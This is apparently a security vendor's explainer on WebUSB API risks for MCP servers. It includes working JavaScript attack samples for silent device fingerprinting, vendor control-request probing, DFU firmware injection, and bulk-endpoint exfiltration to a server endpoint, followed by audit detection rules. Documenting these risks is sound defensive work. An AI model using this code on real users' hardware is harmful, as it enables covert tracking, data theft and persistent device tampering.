MCP Server Security · WebUSB API · navigator.usb · USB Device Access · Control Transfer · DFU Firmware Update · Device Fingerprinting · Persistent USB Grant · Bulk Transfer Exfiltration

MCP server WebUSB API security

The WebUSB API (navigator.usb) gives browser-based code direct access to non-standard USB devices — development boards, custom hardware, USB security tokens in non-CTAP mode, and DFU-capable embedded systems. One permission approval persists forever. In MCP server contexts, that single grant enables silent device enumeration, vendor-specific control transfers, bulk data exfiltration, and DFU firmware injection — all without any additional browser dialog.

WebUSB API surface

// WebUSB API — Chrome 61+, Edge 79+, Electron; HTTPS only; user gesture for requestDevice()
// Grants persist indefinitely — getDevices() returns approved devices on every future page load

// Check availability
if ('usb' in navigator) {
  console.log('WebUSB API available');
}

// ONE-TIME: request a device (user picks from browser dialog — grant persists forever)
const device = await navigator.usb.requestDevice({
  filters: [{ vendorId: 0x2341 }]   // filter by USB Vendor ID (0x2341 = Arduino)
});

// ALL SUBSEQUENT SESSIONS: get previously-granted devices — no dialog
const devices = await navigator.usb.getDevices();   // returns all approved devices silently
const device = devices[0];

// Open, select configuration and interface
await device.open();
await device.selectConfiguration(1);     // USB configuration index
await device.claimInterface(0);          // claim the interface for exclusive access

// Control transfer (sends to device's control endpoint — default endpoint 0)
const result = await device.controlTransferIn({
  requestType: 'vendor',    // 'standard', 'class', or 'vendor'
  recipient:   'device',
  request:     0x01,        // vendor-specific request number
  value:       0x0000,
  index:       0x0000
}, 64);  // read up to 64 bytes of response

// Bulk transfer — read from bulk IN endpoint
const bulkResult = await device.transferIn(1, 64);   // endpoint 1, read 64 bytes
const bulkData   = await device.transferOut(1, new Uint8Array([0x01, 0x02]));

// Device descriptor — readable without claiming any interface
console.log({
  vendorId:     device.vendorId.toString(16),   // e.g., "2341" (Arduino LLC)
  productId:    device.productId.toString(16),  // e.g., "0043" (Uno Rev3)
  serialNumber: device.serialNumber,            // unique per-device hardware serial
  manufacturer: device.manufacturerName,        // "Arduino LLC"
  product:      device.productName              // "Arduino Uno"
});

Permanent grant, no indicator: USB device grants appear only in chrome://settings/content/usbDevices. There is no persistent browser badge or notification indicating the page retains USB access. A tool approved once retains access across all future sessions indefinitely — including after the tool is removed from the MCP host, if the page is still cached or a PWA is installed.

Attack 1 — silent device enumeration and hardware fingerprinting

After the first grant, navigator.usb.getDevices() returns USB descriptors (vendorId, productId, serialNumber, manufacturer, product name) for all previously approved devices without any user interaction. This provides a high-entropy hardware fingerprint: the combination of vendor/product ID and serial number uniquely identifies the physical device. Serial numbers persist across OS reinstalls and are useful for cross-session tracking even in private browsing mode.

// Attack: enumerate all previously-granted USB devices and build a hardware fingerprint
// No user interaction required — runs silently on every page load

async function usbHardwareFingerprint() {
  const devices = await navigator.usb.getDevices();  // silent, no dialog

  const fingerprint = devices.map(d => ({
    vendorId:       d.vendorId.toString(16).padStart(4, '0'),
    productId:      d.productId.toString(16).padStart(4, '0'),
    serialNumber:   d.serialNumber,          // unique per-device, survives OS reinstall
    manufacturer:   d.manufacturerName,
    product:        d.productName,
    usbVersionMajor: d.usbVersionMajor,
    deviceClass:    d.deviceClass
  }));

  // Fingerprint derived from serial number survives:
  // - Browser history clear
  // - localStorage / IndexedDB clear
  // - OS reinstall (hardware serial is burned into the device)
  // - IP address change (VPN/proxy)

  // Cross-session tracking: same USB serial number = same physical computer
  await fetch('/api/fingerprint', {
    method: 'POST',
    body: JSON.stringify({ usb: fingerprint, ts: Date.now() })
  });

  return fingerprint;
}

document.addEventListener('DOMContentLoaded', usbHardwareFingerprint);

Attack 2 — vendor-specific control transfer abuse

USB control transfers are the primary way host software configures USB devices. Vendor-class control requests (requestType: 'vendor') are device-specific and often undocumented. Many USB devices expose debug or configuration modes via vendor control requests — including switching devices to DFU mode, exposing hidden interfaces, disabling authentication features, or reading raw flash memory contents. A malicious MCP tool can probe these undocumented control requests systematically.

// Attack: probe vendor-specific control requests to discover undocumented device capabilities
// Many USB devices have hidden control requests for factory reset, debug mode, raw flash access

async function probeControlRequests(device) {
  await device.open();
  await device.selectConfiguration(1);

  const results = [];
  // Probe all 256 vendor request numbers (0x00–0xFF)
  for (let request = 0; request < 256; request++) {
    try {
      const result = await device.controlTransferIn({
        requestType: 'vendor',
        recipient:   'device',
        request,
        value:  0,
        index:  0
      }, 64);

      if (result.status === 'ok' && result.data.byteLength > 0) {
        results.push({
          request: `0x${request.toString(16).padStart(2,'0')}`,
          bytes: Array.from(new Uint8Array(result.data.buffer)),
          length: result.data.byteLength
        });
      }
    } catch {}  // STALL = unsupported request, skip
  }

  // results contains every supported vendor control request and its response
  // Interpretation varies by device; common findings:
  // 0x01 → firmware version string
  // 0x10 → device serial number in raw form
  // 0xFF → enter DFU / bootloader mode
  return results;
}

Attack 3 — DFU firmware injection

USB Device Firmware Update (DFU) is a standardized protocol (USB DFU 1.1 spec) for loading new firmware onto microcontrollers over USB. Many development boards (STM32, nRF52840, SAMD21, RP2040 in BOOTSEL mode, Nordic Thingy) implement the DFU interface. A WebUSB tool with device access can upload arbitrary firmware silently — permanently altering the device's behavior in a way that survives power cycles and OS reinstalls.

// Attack: upload modified firmware to a DFU-capable device via WebUSB
// USB DFU 1.1 — standardized protocol; supported by STM32, nRF52, SAMD21, RP2040

const DFU_DETACH  = 0;  // DFU class request: detach (switch to DFU mode from app mode)
const DFU_DNLOAD  = 1;  // DFU class request: download (write firmware block)
const DFU_GETSTATUS = 3;  // DFU class request: get status

async function dfuDownload(device, firmwareData) {
  await device.open();
  await device.selectConfiguration(1);
  await device.claimInterface(0);  // DFU interface is typically interface 0

  const BLOCK_SIZE = 64;  // standard DFU block size
  const bytes = new Uint8Array(firmwareData);
  let blockNum = 0;

  for (let offset = 0; offset < bytes.length; offset += BLOCK_SIZE) {
    const block = bytes.slice(offset, offset + BLOCK_SIZE);

    // DFU_DNLOAD — send one firmware block to the device
    await device.controlTransferOut({
      requestType: 'class',
      recipient:   'interface',
      request:     DFU_DNLOAD,
      value:       blockNum,  // block sequence number
      index:       0
    }, block);

    // DFU_GETSTATUS — poll until device is ready for next block
    let status;
    do {
      await new Promise(r => setTimeout(r, 10));
      const resp = await device.controlTransferIn({
        requestType: 'class', recipient: 'interface',
        request: DFU_GETSTATUS, value: 0, index: 0
      }, 6);
      status = new DataView(resp.data.buffer).getUint8(4);  // bState
    } while (status !== 5);  // dfuDNLOAD-IDLE = ready

    blockNum++;
  }

  // Send zero-length DFU_DNLOAD to signal end of firmware
  await device.controlTransferOut({
    requestType: 'class', recipient: 'interface',
    request: DFU_DNLOAD, value: blockNum, index: 0
  }, new Uint8Array(0));

  // Device now running attacker firmware — persists across all power cycles
}

Attack 4 — bulk endpoint data exfiltration

Bulk endpoints stream data from the device to the host continuously. A USB security key in non-CTAP mode, a USB audio interface during recording, or a custom sensor device all expose bulk IN endpoints. An MCP tool with device access can read these bulk streams and exfiltrate the data — capturing raw audio samples, sensor readings, or proprietary protocol messages from the device.

// Attack: continuously read all data from bulk IN endpoints of the granted USB device
// Exfiltrate the raw USB bulk stream to a remote server

async function bulkExfiltration(device) {
  await device.open();
  await device.selectConfiguration(1);

  // Discover all bulk IN endpoints across all interfaces
  for (const intf of device.configuration.interfaces) {
    try {
      await device.claimInterface(intf.interfaceNumber);
    } catch {}  // may be claimed by OS driver

    for (const ep of intf.alternate.endpoints) {
      if (ep.type === 'bulk' && ep.direction === 'in') {
        // Start continuous read loop on each bulk IN endpoint
        (async () => {
          const buffer = [];
          while (true) {
            try {
              const result = await device.transferIn(ep.endpointNumber, ep.packetSize);
              if (result.status === 'ok') {
                buffer.push(...new Uint8Array(result.data.buffer));
                if (buffer.length > 1024) {
                  await fetch('/api/usb-bulk', {
                    method: 'POST',
                    body: JSON.stringify({ ep: ep.endpointNumber, data: buffer.splice(0) })
                  });
                }
              }
            } catch { break; }
          }
        })();
      }
    }
  }
}

// Real attack targets:
// - USB audio interfaces: captures raw PCM audio from microphone input
// - USB security tokens (non-CTAP mode): reads proprietary protocol messages
// - Custom USB sensors: captures measurement data stream
// - USB CDC-ACM devices: reads serial-over-USB data

What SkillAudit checks

CRITICAL
navigator.usb.getDevices() on page load followed by device.open() and bulk/control transfers — silently reconnecting to all previously-granted USB devices and initiating communication without any user interaction or visible browser indicator; enables persistent surveillance of USB-connected hardware.
CRITICAL
DFU class control transfers (DFU_DNLOAD) sent to a claimed USB interface — uploading arbitrary firmware data to DFU-capable microcontrollers permanently replaces device firmware; no secondary confirmation from browser, OS, or user; change survives all power cycles.
HIGH
Vendor-specific controlTransferIn/Out with systematic request probing — probing vendor control request space (request 0x00–0xFF) discovers undocumented device capabilities, debug modes, and raw memory access interfaces not intended for external access.
HIGH
Continuous transferIn loop on bulk IN endpoint with remote transmission — streaming bulk endpoint data to an external server exfiltrates all device output; for USB audio interfaces this captures live microphone audio; for sensor devices it captures real-time measurement streams.
MEDIUM
Device descriptor fields (serialNumber, manufacturerName, productName) transmitted to remote endpoint — USB serial numbers are permanent hardware identifiers that survive OS reinstall and all browser data clears; used for cross-session, cross-browser, cross-VPN device fingerprinting.

Browser and platform support

PlatformWebUSB APIPersistent grantsDFU supportPermissions-Policy
Chrome 61+FullYes (indefinite)Via USB classusb=() blocks API
Edge 79+FullYesVia USB classusb=()
FirefoxNot supportedN/AN/AN/A
SafariNot supportedN/AN/AN/A
ElectronFull (Chromium)YesYesVia webPreferences
Audit your MCP server →

Related: Web Serial API security · WebHID API security · Web MIDI API security · OPFS deep dive · All security posts